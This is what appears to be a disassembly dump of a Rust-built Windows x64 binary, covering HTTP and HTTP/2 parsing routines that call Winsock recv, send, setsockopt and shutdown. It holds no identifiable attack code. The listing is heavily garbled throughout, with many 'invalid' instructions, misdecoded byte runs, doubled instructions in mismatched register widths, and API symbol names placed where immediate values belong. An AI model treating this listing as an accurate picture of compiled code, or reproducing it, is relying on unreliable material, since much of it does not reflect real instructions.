enter 0x14c, 0xffffffffffffffc0
dec eax
add rax, r8
cmovae rax, r8
mov qword [rsi + 0x20], rax
inc rcx
mov qword [rsi + 0x28], rcx
sub byte [rax - 0x73], r9b
add al, 0xc0
ror byte [rax - 0x77], 0x46
and byte [rax - 1], cl
ror dword [rax - 0x77], 0x4e
sub byte [rax - 0x73], r9b
sub byte [rax - 0x73], r9b
lea eax, [rax + rax*8]
add al, 0xc0
movaps xmm0, xmmword [rsp + 0x50]
and al, 0x50
push rax
movaps xmm1, xmmword [rsp + 0x60]
movaps xmm2, xmmword [rsp + 0x70]
jo 0x14006a3a1
sub byte [rsp + 0x80], bl
jo 0x14006a3a1
sub byte [rsp + 0x80], bl
and al, 0x80
add byte [rax], al
add byte [rdi], cl
movups xmmword [rdx + rax*8], xmm0
adc dword [rdx + rax*8], eax
movups xmmword [rdx + rax*8 + 0x10], xmm1
adc dword [rdx + rax*8 + 0x10], ecx
adc byte [rdi], cl
adc dword [rdx + rax*8 + 0x20], edx
push rsp
invalid
invalid
movups xmmword [rdx + rax*8 + 0x20], xmm2
push rsp
ret 0xf20
movups xmmword [rdx + rax*8 + 0x30], xmm3
adc dword [rdx + rax*8 + 0x30], ebx
mov rcx, qword [rsp + 0x90]
and al, 0x90
add byte [rax], al
add byte [rax - 0x77], cl
ret 0x4540
add byte [rax], al
mov qword [rdx + rax*8 + 0x40], rcx
xor r13d, r13d
lea rsi, [rsp + 0x50]
mov rcx, rsi
mov rdx, r15
mov edx, edi
mov edx, edi
cli
xor r8d, r8d
call fcn.14006b0d0
mov rax, qword [rsp + 0x50]
mov eax, dword [rsp + 0x50]
mov eax, dword [rsp + 0x50]
and al, 0x50
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x60]
and al, 0x60
and al, 0x60
invalid
lea rcx, [rsp + 0x68]
lea ecx, [rsp + 0x68]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x90], rax
add byte [rax], al
add byte [rax], al
movups xmm0, xmmword [rsp + 0x180]
movups xmm1, xmmword [rsp + 0x190]
movups xmm2, xmmword [rsp + 0x1a0]
adc byte [rsp + 0x1a0], dl
adc byte [rsp + 0x1a0], dl
and al, 0xa0
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x1b0], bl
movups xmm3, xmmword [rsp + 0x1b0]
movaps xmmword [rsp + 0x80], xmm3
movaps xmmword [rsp + 0x70], xmm2
sub dword [rsp + 0x70], edx
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
mov rcx, r12
mov rdx, rsi
call fcn.14006b430
mov rsi, qword [rsp + 0xa0]
jmp 0x140069e4e
cli
invalid
invalid
add byte [rax - 0x75], cl
mov ah, 0x24
movabs al, byte [0xfffffa09e9000000]
cli
invalid
invalid
cli
invalid
movzx edi, r9b
stc
mov r14b, 0xa
cmp rdi, qword [rsi + 0x60]
ja 0x14006a5b1
pop rbx
add dword [rax], eax
invalid
pop rbx
add dword [rax], eax
add byte [rax - 0x77], cl
mov qword [rsi + 0x38], rdi
jle 0x14006a492
mov rbx, qword [rsi + 0x30]
cmp rbx, rdi
pop rsi
xor byte [rax + 0x39], cl
sti
jbe case.0x14002d051.444
rol dword [rax], 0
add byte [rax], al
add byte [rbx + rcx*4 + 0x7e], cl
mov r15, qword [rsi + 0x20]
mov rax, qword [rsi + 0x10]
mov r12, qword [rsi + 0x18]
mov esp, dword [rsi + 0x18]
and byte [rax - 0x75], cl
adc byte [rbx + r9*4 + 0x66], r9b
mov esp, dword [rsi + 0x18]
mov rcx, qword [rsi + 0x28]
lea rbp, [rcx - 1]
add rcx, r15
lea rcx, [rcx + rcx*8]
mov esp, dword [rsi + 0x18]
mov rcx, qword [rsi + 0x28]
lea rbp, [rcx - 1]
lea ebp, [rcx - 1]
dec dword [rcx + rax - 7]
add rcx, r15
add ecx, edi
lea rcx, [rcx + rcx*8]
lea r13, [rax + rcx*8]
sub al, 0xc8
add r13, 0xffffffffffffffb8
jmp 0x14006a4a0
invalid
adc al, 0xf
invalid
dec rbp
dec ebp
int 0x49
add ebp, 0xffffffb8
add r13, 0xffffffffffffffb8
cmp rbx, rdi
cmp ebx, edi
sti
jbe case.0x14002d051.444
cmp rbp, 0xffffffffffffffff
je case.0x14002d051.449
and eax, dword [rcx]
add byte [rax], al
lea rax, [r15 + rbp]
cmp rax, r12
mov eax, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmovae rax, r12
shl rax, 3
shl eax, 3
loopne 0x14006a4c1
lea rax, [rax + rax*8]
mov r14, r13
ror byte [rbp - 0x77], 0xee
sub r14, rax
mov rcx, r14
call fcn.14006cca0
sub rbx, rax
sub ebx, eax
mov qword [rsi + 0x30], rbx
mov qword [rsi + 0x28], rbp
invalid
sub byte [rcx - 0x75], cl
mov qword [rsp + 0x90], rax
add byte [rax], al
invalid
mov rax, qword [r14 + 0x40]
mov qword [rsp + 0x90], rax
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + 0xf], al
adc byte [rsi], al
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movups xmm2, xmmword [r14 + 0x20]
adc byte [rcx + 0xf], r8b
adc byte [rsi + 0x20], dl
movups xmm3, xmmword [r14 + 0x30]
movups xmm3, xmmword [rsi + 0x30]
pop rsi
xor byte [rdi], cl
movaps xmmword [rsp + 0x80], xmm3
sub dword [rsp + 0x80], ebx
pushfq
and al, 0x80
add byte [rax], al
add byte [rdi], cl
movaps xmmword [rsp + 0x70], xmm2
movaps xmmword [rsp + 0x70], xmm2
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
push rax
cmp al, 8
je 0x14006a490
invalid
invalid
invalid
lea rcx, [rsp + 0x50]
lea ecx, [rsp + 0x50]
push rax
call fcn.14006cd90
jmp 0x14006a490
invalid
invalid
invalid
invalid
push 0x48ffffff
lea ecx, [rsp + 0x50]
lea rcx, [rsp + 0x50]
lea r15, [rsp + 0x30]
lea edi, [rsp + 0x30]
mov rdx, r15
xor r8d, r8d
call fcn.14006b0d0
mov rax, qword [rsp + 0x50]
mov eax, dword [rsp + 0x50]
or eax, dword [rax]
add byte [rax - 0x75], cl
mov eax, dword [rsp + 0x50]
mov eax, dword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x60]
and al, 0x60
and al, 0x60
invalid
lea rcx, [rsp + 0x68]
call qword [rax + reloc.WS2_32.dll_recv]
lea rdi, [rsp + 0xb0]
mov al, 0
add byte [rax], al
mov al, 0
add byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 - 0x5c], cl
lea r12, [rsp + 0x118]
and al, 0x18
add dword [rax], eax
add byte [rbx + rcx*4 + 0x6c], cl
and al, 0x48
mov r13, qword [rsp + 0x48]
jmp 0x140069e4e
loopne 0x14006a564
invalid
mov r14b, 3
jmp 0x14006a5b1
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcheadermap.rs
add byte [rcx + rcx*4 - 0x37], cl
mov rcx, r9
mov rdx, rax
mov edx, eax
call fcn.140160ed0
ud2
test al, 0x16
add byte [rcx + rcx*4 - 0x2f], cl
mov rdx, r11
call fcn.140160ed0
str word [rdi]
invalid
str word [rdi]
or eax, dword [rcx - 0x4a]
or eax, dword [rcx - 0x80]
cmp dh, 0xc
jne 0x14006a5b1
mov r14b, reloc.WS2_32.dll_send
mov r14b, 0xb
cmp r14b, 0xc
cmp dh, 0xc
or al, 0x75
jne 0x14006a5b1
or eax, 0x8013b641
jl 0x14006a5ce
mov r14b, reloc.WS2_32.dll_send
cmp byte [rsp + 0x2e], 0
add byte cs:[rbp + 3], dh
jne 0x14006a5b1
mov r14b, reloc.WS2_32.dll_setsockopt
mov eax, r14d
add rsp, 0x1c8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop rbp
pop r14
pop rsi
pop r15
ret
mov r14b, 0xb
jmp 0x14006a5b1
lea rcx, [0x140195ef9]
lea ecx, [0x140195ef9]
and eax, 0x4c0012b9
lea eax, [0x140195f28]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srchpackdecoder.rsSize_of_table___0__but_no_headers_left_
mov edx, 0x28
sub byte [rax], al
add byte [rax], al
invalid
add al, ch
jnp 0x14006a652
call fcn.140161560
ud2
str word [rdi]
or ecx, esp
int3
int3
int3
int3
invalid
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
lea rdx, [0x1401a90f6]
sub byte [rax - 0x73], cl
adc eax, 0x13eae9
mov r8d, 8
or byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add bh, bh
push rax
sbb byte [rax - 0x77], cl
je 0x14006a63e
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
and al, 0x38
xor byte [rax + 0x48382444], cl
and al, 0x38
cmp byte [rax - 0x39], cl
and al, 0x28
and al, 0x28
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x28], 0
and al, 0x28
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add dh, al
and al, 0x39
mov byte [rsp + 0x39], 0
lea r8, [0x140195778]
mov cl, send
invalid
add byte [rbp + rcx*4 + 5], cl
mov cl, send
add byte [rax - 0x73], cl
lea rcx, [rsp + 0x28]
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x40]
lea edx, [rsp + 0x40]
and al, 0x40
call fcn.14005cdb0
insd dword [rdi], dx
invalid
invalid
mov rax, qword [rsp + 0x28]
mov eax, dword [rsp + 0x28]
and al, 0x28
sub byte [rdi], cl
movzx ecx, byte [rsp + 0x38]
mov dh, 0x4c
and al, 0x38
test rax, rax
sal byte [rsi + rdx*2 - 0x4d], 1
je 0x14006a6a8
push rsi
mov bl, 1
test cl, cl
jne 0x14006a6aa
push rdx
push rdx
mov rsi, qword [rsp + 0x30]
mov esi, dword [rsp + 0x30]
je 0x14006a680
xor byte [rax - 0x7d], cl
clc
cmp rax, 1
cmp eax, 1
add dword [rbp + 0x29], esi
jne case.0x1400e8349.252
cmp byte [rsp + 0x39], 0
je case.0x1400e8349.252
test byte [rsi + 0x34], 4
mov eax, 1
add dword [rax], eax
add byte [rax], al
add bh, bh
call qword [rax + 0x18]
test al, al
jne 0x14006a6aa
mov rcx, qword [rsi + 0x20]
invalid
invalid
add byte [rax], al
call qword [rax + 0x18]
test al, al
jne 0x14006a6aa
mov ebx, ecx
retf
test bl, bl
setne al
add rsp, 0x48
pop rbx
int3
int3
sub esp, 0x28
in al, dx
sub byte [rax - 0x77], cl
invalid
mov esi, ecx
mov eax, dword [rcx]
sal byte [rbp + rax - 0x7d], 0xf8
add dh, byte [rbp + rdx*2 + 0x48]
je 0x14006a72b
lea rcx, [rsi + 8]
add eax, 0x7402f883
je 0x14006a72b
push rbp
add dword [rax], 0x8d480000
add byte [rax], al
add byte [rax - 0x73], cl
push 0x168e8
add byte [rax - 0x75], cl
invalid
invalid
lock dec qword es:[rdi + 0x20]
jne 0x14006a72b
mov rax, qword [rdi + 0x20]
cmp qword [rdi + 8], 0
jg case.0x14003207d.471
invalid
jg case.0x14003207d.471
add byte [rdx + rsi + 0x4c], dh
mov eax, dword [rdi]
invalid
je 0x14006a739
mov r8, qword [rdi]
mov rcx, qword [0x140215360]
mov ecx, dword [0x140215360]
or eax, 0x1aac4f
lodsb al, byte [rsi]
sbb al, byte [rax]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
invalid
sar bh, cl
adc eax, 0xfd90f
invalid
invalid
verw bx
invalid
jmp 0x14006a739
add eax, 0x48dff748
add rsp, 0x28
pop rdi
pop rsi
ret
mov esi, 0x120
mov rcx, qword [0x140215360]
xor edx, edx
add esp, 0x28
invalid
sub byte [rdi + 0x5e], bl
int3
int3
int3
int3
int3
int3
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
in al, dx
mov rsi, rcx
add byte [rbx + rdx + 0x4c], dh
sbb byte [rax - 0x75], cl
or eax, 0x1aabe2
loop 0x14006a727
sbb al, byte [rax]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0xfd8a2
str word [rax - 0x75]
mov rdi, qword [rsi + 0x28]
jle case.0x1400790b1.199
mov r14, qword [rsi + 0x38]
jbe 0x14006a7c6
je 0x14006a7d5
lea rbx, [rdi + 0x30]
jmp 0x14006a7bb
add byte [rax], 0
add byte [rax], al
mov rax, qword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
mov r8, qword [rbx - 8]
adc byte [rax - 0x7d], cl
add rbx, 0x68
ret
dec esi
invalid
mov rax, qword [rbx + 0x10]
adc byte [rax - 0x7b], cl
sal byte [rsp + rbx*8 + 0x48], 0x8d
test rax, rax
je case.0x1400621f6.169
lea rcx, [rbx + 0x28]
sub byte [r8 - 0x75], cl
push rbx
mov rdx, qword [rbx + 0x18]
mov edx, dword [rbx + 0x18]
sbb byte [rbx + rcx*4 + 0x43], cl
mov r8, qword [rbx + 0x20]
and r15b, dil
push rax
cmp qword [rsi + 0x30], 0
cmp dword [rsi + 0x30], 0
mov rcx, qword [0x140215360]
stosd dword [rdi], eax
sbb al, byte [rax]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0xfd83a
cmp bl, al
jbe 0x14006a846
test r14, r14
je 0x14006a81b
invalid
and byte [rax - 0x73], cl
pop rdi
call 0x1305a3350
mov r8, qword [rbx - 8]
clc
clc
mov rcx, rbx
dec r14
dec r14
dec esi
cmp qword [rsi + 0x48], 0
je 0x14006a83e
mov rcx, qword [0x140215360]
or eax, 0x1aab37
xor edx, edx
mov r8, rdi
mov eax, edi
ror byte [rcx - 0x77], cl
clc
mov eax, edi
pop rsi
pop rsi
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
nop
add rsp, 0x28
add esp, 0x28
invalid
sub byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r14
int3
int3
int3
int3
sub rsp, 0x20
mov rsi, rcx
mov esi, ecx
in al, dx
and byte [rax - 0x77], cl
invalid
movzx eax, byte [rcx]
or dh, byte [rdx + 0x1a]
sbb cl, byte [rax - 0x7d]
jle case.0x14002d090.483
cmp qword [rsi + 0x10], 0
je 0x14006a87d
invalid
add byte [rbx + rdx + 0x4c], dh
mov eax, dword [rsi + 8]
invalid
mov r8, qword [rsi + 8]
or byte [rax - 0x75], cl
mov rcx, qword [0x140215360]
mov ecx, dword [0x140215360]
stosb byte [rdi], al
sbb al, byte [rax]
invalid
add byte [rcx], dh
sar bh, cl
call qword [sym.imp.KERNEL32.dll_HeapFree]
stosd dword [rdi], eax
xlatb
str word [rax - 0x75]
add byte [rax - 0x75], cl
mov rax, qword [rsi + 0x18]
test rax, rax
test eax, eax
je case.0x1400382cc.382
lea rcx, [rsi + 0x30]
mov r8, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
sub dil, r15b
call qword [rax + reloc.WS2_32.dll_recv]
test eax, eax
sal byte [rdi + rcx + 0x48], 0x8d
je 0x14006a8ad
lea rcx, [rsi + 0x50]
mov rdx, qword [rsi + 0x40]
mov edx, dword [rsi + 0x40]
mov r8, qword [rsi + 0x48]
call qword [rax + reloc.WS2_32.dll_recv]
push rax
adc byte [rax - 0x75], cl
pop rax
pop rax
mov rax, qword [rsi + 0x58]
pop rax
test rax, rax
lea ecx, [rsi + 0x70]
jo case.0x140059d16.262
mov rdx, qword [rsi + 0x60]
mov edx, dword [rsi + 0x60]
push rsi
invalid
js 0x14006a912
test eax, eax
adc byte [rax - 0x73], cl
mov ss, word [rax + 0x48000000]
nop
add byte [rax], al
add byte [rax], al
invalid
lea rcx, [rsi + 0x90]
mov rdx, qword [rsi + 0x80]
mov edx, dword [rsi + 0x80]
add byte [rax], 0
mov r8, qword [rsi + 0x88]
add byte [rax], al
add rsp, 0x20
add esp, 0x20
pop rsi
jmp rax
jmp rax
invalid
and byte [rsi - 0x3d], bl
int3
int3
int3
int3
push rsi
sub rsp, 0x60
in al, dx
invalid
mov rsi, rcx
mov esi, ecx
in al, dx
invalid
mov esi, ecx
test r8, r8
je 0x14006a982
cmp r8, 0x3e
jae 0x14006a949
dec r8
dec r8
dec eax
cmp r8, 0x3c
add byte [rax], al
lea rdx, [0x1401d3af8]
add eax, 0x19e10e
movsxd rcx, dword [rax + r8*4]
add rcx, rax
sar edi, 0xe1
sar edi, 0xe1
mov r9b, 2
lea eax, [0x140204680]
sbb dword [rax], eax
xor r10d, r10d
jmp 0x14006b078
add r8, 0xffffffffffffffc2
add eax, 0xffffffc2
cmp qword [rdx + 0x18], r8
jbe 0x14006a982
add r8, qword [rdx + 0x10]
adc byte [rax - 0x75], cl
cmovae rcx, rax
sub r8, rcx
invalid
enter 0x2949, 0xffffffffffffffc8
enter 0xffffffffffff8d4b, 4
lea rax, [r8 + r8*8]
ror byte [rax - 0x3f], 0xe0
add ecx, dword [rax + 3]
shl rax, 3
add rax, qword [rdx]
mov rcx, rsi
int1
mov rdx, rax
add dh, al
invalid
mov byte [rsi], 5
mov byte [rsi + 0x40], 8
invalid
invalid
add rsp, 0x60
pop rsi
ret
invalid
xorps xmm0, xmm0
lea rax, [0x1401d3af8]
xchg ecx, eax
invalid
add byte [rax], al
add cl, ch
jmp 0x14006b070
invalid
invalid
invalid
movabs rdx, 0x101010101010101
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
movabs rdx, 0x202020202020202
add al, byte [rdx]
add al, byte [rdx]
invalid
add al, byte [rdx]
add al, byte [rdx]
add al, byte [rdx]
add al, byte [rdx]
add al, byte [rcx - 0x4f]
mov r9b, 3
mov r8, rdx
invalid
invalid
shr cl, cl
movsb byte [rdi], byte [rsi]
invalid
add dword [rax], eax
jmp 0x14006b078
mov r9b, 5
mov r10d, recv
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
invalid
invalid
invalid
lea r8, str._index.htmlgzip__deflate
jmp 0x14006b078
jp 0x14006aa02
add byte [rax], al
jp 0x14006aa02
mov edx, 4
add byte [rax], al
lea r8, [0x140204ba3]
jmp 0x14006b078
invalid
mov r9b, 4
add byte [rbp + rcx*4 + 5], cl
add byte [rax], al
mov r9b, 7
mov edx, 0xc8
jmp 0x14006aa6c
cmp al, byte [rcx - 0x4f]
invalid
mov r9b, 7
mov edx, 0xcc
jmp 0x14006aa6c
mov r9b, 7
mov edx, 0xce
invalid
add byte [rax], al
add byte [rax], al
jmp 0x14006aa6c
mov r9b, 7
mov cl, 7
mov edx, 0x130
jmp 0x14006aa6c
mov r9b, 7
invalid
mov edx, 0x190
mov r9b, 7
mov edx, 0x194
jmp 0x14006aa6c
invalid
add bl, ch
hlt
jmp 0x14006b078
xorps xmm0, xmm0
ror byte [rdi], 0x29
and al, 0x20
invalid
add dword [rax], eax
add byte [rax], al
invalid
add cl, ch
fiadd word [0xcd4eaa94]
add eax, 0x8d480000
jmp 0x14006b070
add eax, 0x8d480000
lea rcx, [rsp + 0x38]
and al, 0x38
call fcn.14006e7e0
mov rax, qword [rsp + 0x38]
and al, 0x38
mov rcx, qword [rsp + 0x40]
movaps xmmword [rsp + 0x20], xmm0
pop rax
mov edx, dword [rsp + 0x59]
mov dword [rsp + 0x30], edx
push rsp
and al, 0x30
mov edx, dword [rsp + 0x5c]
mov dword [rsp + 0x33], edx
mov r8d, 2
add byte [rcx], dh
rol byte [rbp + 0x31], cl
invalid
invalid
xor edx, edx
shr cl, cl
movabs byte [0x290fc0570f000005], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
adc edx, dword [rax - 0x72b7ffea]
or eax, 0x199b94
xchg esp, eax
wait
sbb dword [rax], eax
mov r8d, 3
add byte [rax], al
add cl, ch
jns 0x14006aafa
jmp 0x14006b070
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rax, [0x1401d3af8]
invalid
lea rcx, [0x140204680]
jae case.0x140053187.296
sbb dword [rax], eax
mov r8d, 4
add byte [rax], al
add cl, ch
pop rax
add eax, 0x570f0000
xorps xmm0, xmm0
invalid
invalid
jmp 0x14006b070
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
and al, 0x20
lea rax, [0x1401d3af8]
lea rcx, [0x140204680]
lea ecx, [0x140204680]
ror dword [rdi - 0x72b7ffea], 1
or eax, 0x199b52
push rdx
wait
sbb dword [rax], eax
invalid
xor edx, edx
xor r8d, r8d
xor eax, eax
xor eax, eax
jmp case.0x1400382cc.406
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
sub dword [rsp + 0x20], eax
push rdi
ror byte [rdi], 0x29
and al, 0x20
and al, 0x20
lea rax, [0x1401d3af8]
invalid
lea rcx, [0x140204680]
mov r8d, 8
mov eax, 8
jmp 0x14006b070
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
push rdi
ror byte [rdi], 0x29
and al, 0x20
and al, 0x20
lea rax, [0x1401d3af8]
invalid
lea rcx, [0x140204680]
mov r8d, recv
mov eax, recv
jmp 0x14006b070
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
push rdi
ror byte [rdi], 0x29
and al, 0x20
and al, 0x20
lea rax, [0x1401d3af8]
invalid
lea rcx, [0x140204680]
mov r8d, recv
mov eax, recv
jmp 0x14006b070
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
push rdi
ror byte [rdi], 0x29
and al, 0x20
and al, 0x20
lea rax, [0x1401d3af8]
invalid
lea rcx, [0x140204680]
mov r8d, reloc.WS2_32.dll_recv
mov eax, reloc.WS2_32.dll_recv
jmp 0x14006b070
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
push rdi
ror byte [rdi], 0x29
and al, 0x20
and al, 0x20
lea rax, [0x1401d3af8]
invalid
lea rcx, [0x140204680]
mov r8d, setsockopt
mov eax, setsockopt
jmp 0x14006b070
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
push rdi
ror byte [rdi], 0x29
and al, 0x20
and al, 0x20
lea rax, [0x1401d3af8]
invalid
lea rcx, [0x140204680]
mov r8d, reloc.WS2_32.dll_setsockopt
mov eax, reloc.WS2_32.dll_setsockopt
jmp 0x14006b070
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
push rdi
ror byte [rdi], 0x29
and al, 0x20
and al, 0x20
lea rax, [0x1401d3af8]
mov ss, word [rsi]
add byte [rax - 0x73], cl
invalid
lea rcx, [0x140204680]
or eax, 0x199a6c
mov r8d, reloc.WS2_32.dll_shutdown
mov eax, reloc.WS2_32.dll_shutdown
jmp 0x14006b070
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
push rdi
ror byte [rdi], 0x29
and al, 0x20
and al, 0x20
lea rax, [0x1401d3af8]
mov ss, word [rsi]
add byte [rax - 0x73], cl
lea rcx, [0x140204680]
or eax, 0x199a4b
mov r8d, 0x17
jmp 0x14006b070
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
push rdi
ror byte [rdi], 0x29
and al, 0x20
and al, 0x20
lea rax, [0x1401d3af8]
mov ss, word [rsi]
add byte [rax - 0x73], cl
lea rcx, [0x140204680]
or eax, 0x199a2a
mov r8d, 0x18
mov eax, 0x18
jmp 0x14006b070
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
push rdi
ror byte [rdi], 0x29
and al, 0x20
and al, 0x20
lea rax, [0x1401d3af8]
lea eax, [0x1401d3af8]
mov ss, word [rsi]
add byte [rax - 0x73], cl
lea rcx, [0x140204680]
mov r8d, 0x19
jmp 0x14006b070
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
push rdi
ror byte [rdi], 0x29
and al, 0x20
and al, 0x20
and al, 0x20
lea rax, [0x1401d3af8]
mov ss, word [rsi]
lea rcx, [0x140204680]
mov r8d, 0x1a
mov eax, 0x1a
jmp 0x14006b070
xorps xmm0, xmm0
push rdi
ror byte [rdi], 0x29
movaps xmmword [rsp + 0x20], xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401d3af8]
mov ss, word [rsi]
add byte [rax - 0x73], cl
lea rcx, [0x140204680]
mov r8d, 0x1d
mov eax, 0x1d
jmp 0x14006b070
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
push rdi
ror byte [rdi], 0x29
and al, 0x20
and al, 0x20
lea rax, [0x1401d3af8]
mov ss, word [rsi]
add byte [rax - 0x73], cl
lea rcx, [0x140204680]
or eax, 0x1999a6
mov r8d, 0x1e
mov eax, 0x1e
jmp 0x14006b070
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
push rdi
ror byte [rdi], 0x29
and al, 0x20
and al, 0x20
lea rax, [0x1401d3af8]
mov ss, word [rsi]
add byte [rax - 0x73], cl
lea rcx, [0x140204680]
or eax, 0x199985
mov r8d, 0x20
mov eax, 0x20
jmp 0x14006b070
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
sub dword [rsp + 0x20], eax
push rdi
ror byte [rdi], 0x29
sub dword [rsp + 0x20], eax
lea rax, [0x1401d3af8]
lea rcx, [0x140204680]
or eax, 0x199964
lea edx, [rsi]
add byte [rax - 0x73], cl
or eax, 0x199964
sbb dword [rax], eax
mov r8d, 0x21
mov eax, 0x21
jmp 0x14006b070
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rax, [0x1401d3af8]
lea rcx, [0x140204680]
or eax, 0x199943
lea edx, [rsi]
add byte [rax - 0x73], cl
or eax, 0x199943
mov r8d, 0x22
mov eax, 0x22
jmp 0x14006b070
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
push rdi
ror byte [rdi], 0x29
and al, 0x20
and al, 0x20
lea rax, [0x1401d3af8]
lea rcx, [0x140204680]
or eax, 0x199922
lea edx, [rsi]
add byte [rax - 0x73], cl
or eax, 0x199922
mov r8d, 0x23
mov eax, 0x23
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
push rdi
ror byte [rdi], 0x29
and al, 0x20
and al, 0x20
lea rax, [0x1401d3af8]
lea eax, [0x1401d3af8]
or byte [rbp - 0x72b7ffea], 0xd
add dword [rcx - 0x47beffe7], ebx
mov eax, 0x25
jmp 0x14006b070
lea edx, [rsi]
add byte [rax - 0x73], cl
lea rcx, [0x140204680]
or eax, 0x199901
mov r8d, 0x25
mov eax, 0x25
jmp 0x14006b070
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
push rdi
ror byte [rdi], 0x29
and al, 0x20
and al, 0x20
and al, 0x20
lea rax, [0x1401d3af8]
lea edx, [rsi]
add byte [rax - 0x73], cl
lea rcx, [0x140204680]
or eax, 0x1998e0
sbb dword [rax], eax
mov r8d, 0x26
jmp 0x14006b070
xorps xmm0, xmm0
push rdi
ror byte [rdi], 0x29
movaps xmmword [rsp + 0x20], xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401d3af8]
lea rcx, [0x140204680]
or eax, 0x1998bf
lea edx, [rsi]
add byte [rax - 0x73], cl
or eax, 0x1998bf
mov r8d, 0x27
jmp 0x14006b070
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rax, [0x1401d3af8]
lea rcx, [0x140204680]
or eax, 0x19989e
lea edx, [rsi]
add byte [rax - 0x73], cl
or eax, 0x19989e
mov r8d, 0x28
jmp 0x14006b070
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rax, [0x1401d3af8]
lea eax, [0x1401d3af8]
cld
mov word [rsi], ss
add byte [rax - 0x73], cl
lea rcx, [0x140204680]
or eax, 0x19987d
mov r8d, 0x29
add byte [rax], al
add cl, ch
invalid
invalid
jmp 0x14006b070
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rax, [0x1401d3af8]
lea rcx, [0x140204680]
or eax, 0x19985c
mov r8d, 0x2a
jmp 0x14006b070
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401d3af8]
lea rcx, [0x140204680]
or eax, 0x19983b
or eax, 0x19983b
mov r8d, 0x2b
sub eax, dword [rax]
add byte [rax], al
jmp 0x14006b070
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rax, [0x1401d3af8]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rax, [0x1401d3af8]
lea rcx, [0x140204680]
or eax, 0x1997f9
mov r8d, 0x2d
jmp 0x14006b070
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rax, [0x1401d3af8]
lea rcx, [0x140204680]
or eax, 0x1997d8
mov r8d, 0x2e
jmp 0x14006b070
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
